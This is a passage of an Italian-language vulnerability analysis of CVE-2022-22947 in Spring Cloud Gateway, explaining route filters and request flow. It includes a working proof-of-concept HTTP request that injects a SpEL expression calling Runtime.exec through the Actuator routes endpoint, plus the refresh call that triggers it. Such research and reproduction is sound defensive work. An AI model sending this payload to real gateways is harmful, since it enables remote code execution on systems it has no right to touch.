
Analisi dettagliata e exploit per CVE-2022-22947, una vulnerabilità di esecuzione remota di codice in Spring Cloud Gateway tramite iniezione SpEL nell'API Actuator. Include PoC, iniezione di shell in memoria e analisi della causa principale.
Spring Cloud Gateway è un nuovo progetto di Spring Cloud, un gateway sviluppato basandosi su tecnologie come Spring 5.0, Spring Boot 2.0 e Project Reactor, progettato per fornire un modo semplice ed efficace di gestione unificata delle route API per architetture a microservizi. Recentemente è stato scoperto un RCE critico in Spring Cloud Gateway CVE, le informazioni sulla CVE mostrano che quando l'applicazione abilita ed espone l'endpoint Gateway Actuator di Spring Cloud Gateway, è soggetta ad attacchi di iniezione di codice remoto; un aggressore può inviare richieste malevole per eseguire codice arbitrario da remoto. Le versioni attualmente interessate sono:
Questa analisi, attraverso la riproduzione di questa CVE, studia il principio della vulnerabilità e le modalità di sfruttamento più avanzate.
Crea un progetto Maven con le seguenti dipendenze:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9
Nella configurazione predefinita di Spring Boot, solo l'endpoint 'health' è esposto al web. Se è necessario esporre il gateway, è necessario configurarlo manualmente. Fare riferimento alla [documentazione ufficiale](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
Invia il seguente POC:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json
{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

Quindi invia ````POST /actuator/gateway/refresh```` per aggiornare le informazioni della cache delle route, attivando così il POC:

## Analisi del principio
Osservando il POC sopra, prima viene aggiunta dinamicamente una route tramite ````POST /actuator/gateway/routes/test2````. Durante l'aggiunta della route, un filter elabora il parametro di input e può trattare il valore come un'espressione SPEL. Quando la cache delle route viene aggiornata, viene attivata l'esecuzione del POC.
Per prima cosa, esaminiamo il meccanismo di configurazione dinamica delle route di Spring Cloud Gateway.
### Configurazione delle route dinamiche
Spring Cloud Gateway supporta la registrazione delle route tramite codice/file di configurazione, come mostrato nel [demo](https://spring.io/guides/gs/gateway/) ufficiale:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.route(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
Il metodo di configurazione è simile al codice:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1
Le route aggiunte in entrambi i modi sono fisse; se è necessario aggiungere, modificare o eliminare configurazioni e regole di routing, è necessario riavviare l'applicazione affinché le modifiche abbiano effetto. Tuttavia, in pratica, Spring Cloud Gateway, essendo il punto di ingresso per tutto il traffico, deve garantire un'alta disponibilità del sistema. Pertanto, Spring Cloud Gateway espone l'endpoint `/gateway` e, tramite `/gateway/routes`, è possibile aggiungere, eliminare e modificare dinamicamente le informazioni di routing. Tuttavia, le informazioni di routing aggiunte in questo modo risiedono solo in memoria; una volta che il servizio viene riavviato, le nuove configurazioni di routing vengono perse.
Dal formato di registrazione delle route sopra riportato, si può notare che un'informazione di route include l'URI di destinazione, un insieme di filter e un insieme di predicates. I predicates possono corrispondere a qualsiasi contenuto della richiesta HTTP (header, parametri). Spring Cloud Gateway ha molte classi factory di route predicate integrate, come Before, After, Between, Cookie, Header, Host, [Path, ecc.](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).

I filter vengono utilizzati per modificare la richiesta o la risposta prima o dopo l'invio della richiesta. Anche loro includono molti insiemi di filter integrati. Nel payload che ha attivato la RCE sopra, abbiamo usato il filter `AddResponseHeader`. Altri filter includono `RewritePath`, `SetPath`, ecc. Esistono due tipi di filter: i `GlobalFilter`, che sono validi per tutte le route, e i `GatewayFilter`, che sono validi solo per una singola route. Per maggiori dettagli, fare riferimento a https://www.cnblogs.com/duanxz/p/14780675.html.
,
## Flusso della richiesta
Allora, qual è il flusso specifico quando una richiesta arriva attraverso il gateway fino al servizio proxy di backend? Il diagramma seguente mostra il flusso dalla documentazione ufficiale:

Il client invia una richiesta a Spring Cloud Gateway. Quindi, in Gateway Handler Mapping, viene trovata la route corrispondente alla richiesta e inviata a Gateway Web Handler. L'Handler, a sua volta, invia la richiesta attraverso la catena di filtri specificata al servizio effettivo che esegue la logica di business e restituisce la risposta. I filtri sono separati da linee tratteggiate perché possono eseguire la logica di business prima (pre) o dopo (post) l'invio della richiesta al proxy.
`RoutePredicateHandlerMapping` trova la route, che viene poi elaborata da `webHandler`:

In `webHandler`, vengono trovati i `gatewayFilters` e i `globalFilters`, quindi vengono ordinati in base al valore `Order` definito nei filtri, formando una `filterchain` e vengono eseguiti tutti i filtri.

### Registrazione dinamica delle route